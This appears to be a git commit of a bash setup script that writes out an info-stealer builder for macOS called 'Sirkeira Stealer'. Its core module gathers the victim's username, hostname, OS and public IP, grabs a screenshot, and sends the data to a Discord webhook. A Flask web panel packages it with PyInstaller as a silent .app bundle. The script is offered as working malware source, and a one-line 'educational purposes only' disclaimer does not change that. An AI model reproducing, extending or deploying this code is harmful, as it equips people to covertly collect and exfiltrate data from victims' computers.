initial commit

This commit is contained in:
i2p
2026-08-27 11:04:40 -06:00
commit b72aa7f2ad
6 changed files with 406 additions and 0 deletions
+223
View File
@@ -0,0 +1,223 @@
#!/bin/bash
# =============================================
# Sirkeira Stealer - macOS One-Click Setup
# Local Builder with Flask Web Panel
# =============================================
echo "🚀 Setting up Sirkeira Stealer Builder for macOS..."
# Create project directory
mkdir -p sirkeira_builder/templates
cd sirkeira_builder
# 1. requirements.txt
cat > requirements.txt << 'REQ'
flask
pyinstaller
psutil
browser-cookie3
cryptography
pillow
requests
opencv-python
numpy
REQ
# 2. stealer_core.py (macOS compatible version)
cat > stealer_core.py << 'CORE'
import os
import sys
import json
import random
import shutil
import socket
import getpass
import platform
import subprocess
import time
from pathlib import Path
import requests
import psutil
from PIL import ImageGrab
import cv2
class Paths:
def __init__(self):
self.temp = Path("/tmp")
self.userprofile = Path.home()
self.appdata = Path.home() / "Library" / "Application Support"
class Config:
def __init__(self, webhook_url: str, malware_name: str = "Sirkeira Stealer", version: str = "1.6.0"):
self.webhook_url = webhook_url
self.malware_name = malware_name
self.version = version
self.zip_name = f"SK_{random.randint(10000000000, 99999999999)}.zip"
def get_system_info():
info = {
"username": getpass.getuser(),
"hostname": socket.gethostname(),
"os": platform.platform(),
"python": sys.version,
"ip": requests.get('https://api.ipify.org').text if requests else "N/A"
}
return info
def send_to_webhook(config, data):
try:
payload = {"content": f"**{config.malware_name} v{config.version}**\n```json\n{json.dumps(data, indent=2)}\n```"}
requests.post(config.webhook_url, json=payload)
except:
pass
def run_stealer(config: Config):
print(f"[+] {config.malware_name} v{config.version} started on macOS")
data = {
"system": get_system_info(),
"note": "macOS version - limited stealing capabilities (no Discord tokens, no Windows-specific decryption)"
}
send_to_webhook(config, data)
print("[+] Data sent to webhook")
# Optional: take screenshot
try:
screenshot = ImageGrab.grab()
screenshot.save("/tmp/screenshot.png")
# You can add file upload logic here if needed
except:
pass
if __name__ == "__main__":
# This file is imported, not run directly
pass
CORE
# 3. builder.py (Local Web Panel)
cat > builder.py << 'BUILDER'
from flask import Flask, render_template, request, send_file, jsonify
import subprocess
import os
import shutil
import tempfile
from pathlib import Path
app = Flask(__name__)
TEMPLATE = """# Auto-generated Sirkeira Stealer for macOS
import sys
import os
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from stealer_core import Config, run_stealer
if __name__ == "__main__":
config = Config(
webhook_url="{webhook_url}",
malware_name="{malware_name}",
version="{version}"
)
run_stealer(config)
"""
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
webhook = request.form.get("webhook", "").strip()
name = request.form.get("name", "Sirkeira Stealer").strip()
version = request.form.get("version", "1.6.0").strip()
if not webhook.startswith("https://discord.com/api/webhooks/"):
return jsonify({"error": "Invalid Discord webhook URL"}), 400
with tempfile.TemporaryDirectory() as tmpdir:
build_dir = Path(tmpdir)
stealer_file = build_dir / "stealer.py"
core_file = build_dir / "stealer_core.py"
shutil.copy("stealer_core.py", core_file)
stealer_file.write_text(
TEMPLATE.format(webhook_url=webhook, malware_name=name, version=version)
)
exe_name = f"{name.replace(' ', '_')}_v{version}"
cmd = [
"pyinstaller",
"--onefile",
"--noconsole",
"--clean",
"--name", exe_name,
"--distpath", str(build_dir / "dist"),
"--target-arch", "universal2", # Works on Intel + Apple Silicon
str(stealer_file)
]
try:
subprocess.check_call(cmd, cwd=tmpdir)
exe_path = build_dir / "dist" / f"{exe_name}.app" if os.uname().sysname == "Darwin" else build_dir / "dist" / f"{exe_name}"
if not exe_path.exists():
exe_path = build_dir / "dist" / f"{exe_name}.app" # fallback
if exe_path.exists():
return send_file(str(exe_path), as_attachment=True, download_name=f"{exe_name}.app" if exe_path.suffix == "" else exe_path.name)
else:
return jsonify({"error": "Build failed - no output found"}), 500
except Exception as e:
return jsonify({"error": str(e)}), 500
return render_template("index.html")
if __name__ == "__main__":
print("🌐 Sirkeira Local Builder running → http://127.0.0.1:5000")
print("Note: On macOS, the output will be a .app bundle")
app.run(host="127.0.0.1", port=5000, debug=False)
BUILDER
# 4. Simple HTML Panel
cat > templates/index.html << 'HTML'
<!DOCTYPE html>
<html>
<head>
<title>Sirkeira Builder - macOS</title>
<style>
body {font-family: Arial, sans-serif; margin: 40px; background: #f4f4f4;}
h1 {color: #333;}
form {background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1);}
input, button {padding: 12px; margin: 10px 0; width: 100%; box-sizing: border-box;}
button {background: #0066ff; color: white; border: none; cursor: pointer; font-size: 16px;}
button:hover {background: #0055dd;}
</style>
</head>
<body>
<h1>🛠️ Sirkeira Stealer Builder (macOS)</h1>
<form method="post">
<label>Discord Webhook URL:</label><br>
<input type="text" name="webhook" required placeholder="https://discord.com/api/webhooks/..."><br><br>
<label>Malware Name:</label><br>
<input type="text" name="name" value="Sirkeira Stealer"><br><br>
<label>Version:</label><br>
<input type="text" name="version" value="1.6.0"><br><br>
<button type="submit">Build macOS Executable (.app)</button>
</form>
<p><strong>⚠️ Warning:</strong> This is for educational/research purposes only on your own machines.</p>
</body>
</html>
HTML
# Install dependencies
echo "📦 Installing required packages..."
pip3 install -r requirements.txt
echo ""
echo "✅ Setup complete!"
echo ""
echo "To start the builder:"
echo " cd sirkeira_builder"
echo " python3 builder.py"
echo ""
echo "Then open http://127.0.0.1:5000 in your browser."